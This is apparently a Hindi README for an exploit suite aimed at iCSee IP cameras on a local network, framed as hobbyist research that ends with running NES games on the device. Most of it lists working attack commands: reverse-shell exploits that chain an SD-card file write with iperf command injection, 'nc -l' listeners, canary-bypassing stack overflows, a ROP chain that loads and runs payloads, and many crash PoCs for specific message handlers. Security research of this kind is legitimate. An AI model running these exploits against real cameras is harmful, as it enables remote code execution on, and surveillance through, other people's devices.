
यह iCSee एप्लिकेशन का उपयोग करने वाले कैमरों के लिए टूल्स/PoCs/एक्सप्लॉइट्स का एक सूट है। और हाँ - यह NES गेम्स चला सकता है!
यह iCSee वीडियो-कॉल कैमरों (और शायद गैर-वीडियो-कॉल कैमरों) में LAN के माध्यम से उपयोग किए जा सकने वाले टूल/PoC/एक्सप्लॉइट का एक सूट है। इसका उपयोग आसानी से SD कार्ड अपडेट विधि के विकल्प के रूप में वैकल्पिक फर्मवेयर फ्लैश करने के लिए किया जा सकता है।
नोट: कोई भी मेमोरी करप्शन एक्सप्लॉइट तभी काम करेगा जब आपके कैमरे का फर्मवेयर संस्करण V5.00.R02.000949U5.10000.141324.0000010 या V5.00.R02.000807E5.10000.346724.0000010 हो – ये एक्सप्लॉइट फिक्स्ड ऑफसेट पर निर्भर करते हैं, जो फर्मवेयर बनने पर हर बार बदलते हैं।
[0] एनुमरेशन, टियरडाउन और फर्मवेयर निष्कर्षण
[2] बेकार इंटीजर ओवरफ्लो + कुछ उपयोगी बग ढूँढना
[3] स्टैक ओवरफ्लो द्वारा मृत्यु + कैनरी फन
[6] पुष्टि + दूसरे कैमरे पर पूर्ण मेमोरी करप्शन एक्सप्लॉइट
[7] कैमरे पर NES गेम्स का अनुकरण
pycryptodome : RSA लॉगिन क्रिप्ट के लिएpwntools : शेलकोड के लिएpyftpdlib : FTP सर्वर के लिएpynput : NES कीबोर्ड इनपुट के लिएget_system_infoयह पोर्ट 34567 के माध्यम से कैमरे के बारे में जानकारी प्राप्त करने के लिए get_system_info विधि का उपयोग करता है।
python3 icseeu.py get_system_info
{
"Name": "SystemInfo",
"Ret": 100,
"SessionID": "0x0001869f",
"SystemInfo": {
"AlarmInChannel": 0,
"AlarmOutChannel": 0,
"AudioInChannel": 1,
"BuildTime": "2024-06-27 10:33:41",
"CombineSwitch": 0,
"DeviceModel": "IPC_GK7201V300_G2-WR-V_S38",
"DeviceRunTime": "0x000026c6",
"DeviceType": 7,
"DigChannel": 0,
"EncryptVersion": "Unknown",
"ExtraChannel": 0,
"HardWare": "IPC_GK7201V300_G2-WR-V_S38",
"HardWareVersion": "Unknown",
"Pid": "A909409U5000000N",
"SerialNo": "bf7816d59506ec06",
"SoftWareVersion": "V5.00.R02.000949U5.10000.141324.0000010",
"TalkInChannel": 1,
"TalkOutChannel": 1,
"UpdataTime": "",
"UpdataType": "0x00000000",
"VideoInChannel": 1,
"VideoOutChannel": 1
}
}
ftp_get_logsडिवाइस से लॉग खींचने के लिए कुछ बचे हुए टेक्स्ट कार्यक्षमता का उपयोग करता है (लॉग FTPTestDir/Test में समाप्त होते हैं)।
python3 icseeu.py ftp_get_logs
gdb_revshellSD कार्ड फ़ाइल लिखने की कमजोरी और iperf बाइनरी निष्पादन कमजोरी का शोषण करता है, जो SD कार्ड पर मौजूद बाइनरी के दूरस्थ निष्पादन की अनुमति देता है, ताकि एक रिवर्स शेल प्राप्त किया जा सके और एक GDB डीबगर शुरू किया जा सके जो मुख्य App प्रक्रिया से जुड़ता है।
टर्मिनल 1:
nc -l 1234
टर्मिनल 2:
python3 icseeu.py gdb_revshell
टर्मिनल 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
नोट: प्रोग्राम को 30 सेकंड से अधिक न रोकें अन्यथा वॉचडॉग शिकायत करेगा और App प्रक्रिया पुनः आरंभ हो जाएगी!
नोट 2: आपको पेलोड (GDB_Revshell/remote_mgmt.c) में हार्डकोडेड IP पतों को LAN पर अपनी मशीन के IP में संशोधित करने और पेलोड को पुनः बनाने की आवश्यकता हो सकती है।
gdb_revshell_injectSD कार्ड फ़ाइल लिखने की कमजोरी और iperf कमांड इंजेक्शन कमजोरी का शोषण करता है, जो SD कार्ड पर मौजूद बाइनरी के दूरस्थ निष्पादन की अनुमति देता है, ताकि एक रिवर्स शेल प्राप्त किया जा सके और एक GDB डीबगर शुरू किया जा सके जो मुख्य App प्रक्रिया से जुड़ता है।
यह उन डिवाइसों के लिए उपयोगी है जिनमें पहले से ही iperf बाइनरी मौजूद है, जो दूसरी विधि को रोकता है।
टर्मिनल 1:
nc -l 1234
टर्मिनल 2:
python3 icseeu.py gdb_revshell_inject
टर्मिनल 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
नोट: प्रोग्राम को 30 सेकंड से अधिक न रोकें अन्यथा वॉचडॉग शिकायत करेगा और App प्रक्रिया पुनः आरंभ हो जाएगी!
नोट 2: आपको पेलोड (GDB_Revshell/remote_mgmt.c) में हार्डकोडेड IP पतों को LAN पर अपनी मशीन के IP में संशोधित करने और पेलोड को पुनः बनाने की आवश्यकता हो सकती है।
iperf_inject_exploitएक रिवर्स शेल स्थापित करने के लिए iperf कमांड इंजेक्शन का शोषण करता है।
टर्मिनल 1:
nc -l 1234
टर्मिनल 2:
python3 icseeu.py iperf_inject_exploit
नोट: आपको पेलोड (Revshell_Inject/remote_mgmt.c) में हार्डकोडेड IP पतों को LAN पर अपनी मशीन के IP में संशोधित करने और पेलोड को पुनः बनाने की आवश्यकता हो सकती है।
ये संदेश प्रकार 0x7d8 के हैंडलर में दूसरे स्टैक ओवरफ्लो के लिए एक्सप्लॉइट हैं। यह ओवरफ्लो दिलचस्प है क्योंकि यह हमें स्टैक कैनरी को बायपास करने और निष्पादन प्राप्त करने की अनुमति देता है।
इनके काम करने से पहले आपको डिस्पैचर पेलोड बनाना होगा (PayloadDispatcher निर्देशिका में make चलाएँ), और संबंधित निर्देशिकाओं (जैसे ImageDisplay) में make चलाकर कैमरे पर चलाने के लिए पेलोड बनाना होगा।
नोट:
screenflashस्क्रीन फ्लैश करके कोड निष्पादन प्रदर्शित करता है।
python3 icseeu.py exploit_goke screenflash
rgbRGB रंगों को फ्लैश करके स्क्रीन पर नियंत्रण प्रदर्शित करता है।
python3 icseeu.py exploit_goke rgb
imagedisplayएक कच्ची RGB 5:6:5 छवि अपलोड करने के लिए फ़ाइल लिखने का उपयोग करता है, इसके काम करने के लिए निर्देशिका में एक छवि पर ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565 -f rawvideo image.raw चलाएँ ताकि ImageDisplay निर्देशिका में image.raw फ़ाइल प्राप्त हो। छवि स्क्रीन पर प्रदर्शित होगी।
python3 icseeu.py exploit_goke imagedisplay
buttontestप्रदर्शित करता है कि हम बटनों की स्थिति पढ़ सकते हैं, जब बटनों में से एक को दबाया गया पाया जाता है तो एक रंग फ्लैश करता है।
python3 icseeu.py exploit_goke buttontest
pongपोंग गेम का एक न्यूनतम कार्यान्वयन जो प्रदर्शित करता है कि हमारे पास स्क्रीन और सामने के बटनों का नियंत्रण है, साथ ही थोड़ा अधिक जटिल पेलोड भी प्रदर्शित करता है।
python3 icseeu.py exploit_goke pong
nesएक पोर्टेड NES एमुलेटर जो GOKE_Payloads/nes निर्देशिका में रखे rom.nes को चला सकता है, बाइनरी उत्पन्न करने के लिए GOKE_Payloads/nes/smolnes और GOKE_Payload/nes में make चलाएँ।
python3 icseeu.py exploit_goke nes
यह बिना स्टैक कैनरी वाले लेकिन NX वाले दूसरे कैमरे पर स्टैक ओवरफ्लो का एक एक्सप्लॉइट है। मैंने स्टैक को पिवट करने और एक बड़ी ROP-चेन का निष्पादन प्राप्त करने के लिए एक ROP-चेन लिखी, यह ROP-चेन निष्पादन योग्य मेमोरी मैप करती है, एक फ़ाइल की सामग्री को मेमोरी में लोड करती है, एक थ्रेड बनाती है जो इसे निष्पादित करता है, फिर स्टैक स्थिति को ठीक करती है और निष्पादन जारी रखती है।
इनके काम करने से पहले आपको पेलोड बनाना होगा, संबंधित निर्देशिकाओं (जैसे ImageDisplay) में make चलाएँ।
नोट:
screenflashस्क्रीन फ्लैश करके कोड निष्पादन प्रदर्शित करता है।
python3 icseeu.py exploit_xm530 screenflash
rgbRGB रंगों को फ्लैश करके स्क्रीन पर नियंत्रण प्रदर्शित करता है।
python3 icseeu.py exploit_xm530 rgb
imagedisplayएक कच्ची RGB 5:6:5 छवि अपलोड करने के लिए फ़ाइल लिखने का उपयोग करता है, इसके काम करने के लिए निर्देशिका में एक छवि पर ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565be -f rawvideo image.raw चलाएँ ताकि ImageDisplay निर्देशिका में image.raw फ़ाइल प्राप्त हो। छवि स्क्रीन पर प्रदर्शित होगी।
python3 icseeu.py exploit_xm530 imagedisplay
इन प्रूफ ऑफ कॉन्सेप्ट (और उनके अंतर्निहित कारणों) के बारे में अधिक विवरण इस रीडमी के शीर्ष पर ब्लॉग में हैं।
integer_underflow_httpयह PoC HTTP सर्वर में इंटीजर अंडरफ्लो के कारण क्रैश का कारण बनता है।
python3 icseeu.py integer_underflow_http
iperf_runयह PoC SD कार्ड पर iperf/iperf के अंतर्गत संग्रहीत फ़ाइल (या तो ash स्क्रिप्ट या बाइनरी) को निष्पादित करेगा।
python3 icseeu.py iperf_run
iperf_injectयह PoC कमांड इंजेक्शन के माध्यम से reboot कमांड को निष्पादित करेगा, इसके काम करने के लिए iperf/iperf फ़ाइल SD कार्ड पर मौजूद होनी चाहिए।
python3 icseeu.py iperf_inject
assert_trigger_0x41aयह PoC 0x41a संदेश प्रकार हैंडलर में एक बड़े आवंटन के कारण एक असर्ट को ट्रिगर करता है (जिससे क्रैश होता है)।
python3 icseeu.py assert_trigger_0x41a
integer_overflow_0x41aयह PoC 0x41a संदेश हैंडलर में एक इंटीजर ओवरफ्लो के कारण क्रैश को ट्रिगर करता है जो एक अजीब OOB-रीड का कारण बनता है।
python3 icseeu.py integer_overflow_0x41a
stack_overflow_0x43aयह PoC प्रकार 0x43a के संदेश हैंडलर में स्टैक ओवरफ्लो के कारण क्रैश को ट्रिगर करता है।
python3 icseeu.py stack_overflow_0x43a
stack_overflow_0x438_1यह PoC प्रकार 0x438 के संदेश हैंडलर में पहले स्टैक ओवरफ्लो के कारण क्रैश को ट्रिगर करता है।
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x438_2यह PoC प्रकार 0x438 के संदेश हैंडलर में दूसरे स्टैक ओवरफ्लो के कारण क्रैश को ट्रिगर करता है।
python3 icseeu.py stack_overflow_0x438_2
stack_overflow_0xdacयह PoC प्रकार 0xdac के संदेश हैंडलर में स्टैक ओवरफ्लो के कारण क्रैश को ट्रिगर करता है।
python3 icseeu.py stack_overflow_0xdac
stack_overflow_0x5a4यह PoC प्रकार 0x5a4 के संदेश हैंडलर में स्टैक ओवरफ्लो के कारण क्रैश को ट्रिगर करता है।
python3 icseeu.py stack_overflow_0x5a4
stack_overflow_0x414यह PoC प्रकार 0x414 के संदेश हैंडलर में स्टैक ओवरफ्लो के कारण क्रैश को ट्रिगर करता है।
python3 icseeu.py stack_overflow_0x414
stack_overflow_0x410_1यह PoC प्रकार 0x410 के संदेश हैंडलर में पहले स्टैक ओवरफ्लो के कारण क्रैश को ट्रिगर करता है।
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x410_2यह PoC प्रकार 0x410 के संदेश हैंडलर में दूसरे स्टैक ओवरफ्लो के कारण क्रैश को ट्रिगर करता है।
python3 icseeu.py stack_overflow_0x410_2
stack_overflow_0x5a8यह PoC प्रकार 0x5a8 के संदेश हैंडलर में स्टैक ओवरफ्लो के कारण क्रैश को ट्रिगर करता है।
python3 icseeu.py stack_overflow_0x5a8
stack_overflow_0x41eयह PoC प्रकार 0x41e के संदेश हैंडलर में स्टैक ओवरफ्लो के कारण क्रैश को ट्रिगर करता है।
python3 icseeu.py stack_overflow_0x41e
stack_overflow_0x7d8_1यह PoC प्रकार 0x7d8 के संदेश हैंडलर में पहले स्टैक ओवरफ्लो के कारण क्रैश को ट्रिगर करता है।
python3 icseeu.py stack_overflow_0x7d8_1
stack_overflow_0x7d8_2यह PoC प्रकार 0x7d8 के संदेश हैंडलर में दूसरे स्टैक ओवरफ्लो के कारण क्रैश को ट्रिगर करता है।
python3 icseeu.py stack_overflow_0x7d8_2
stack_overflow_0x8a6यह PoC प्रकार 0x8a6 के संदेश हैंडलर में स्टैक ओवरफ्लो के कारण क्रैश को ट्रिगर करता है (सभी कैमरों में मौजूद नहीं)।
python3 icseeu.py stack_overflow_0x8a6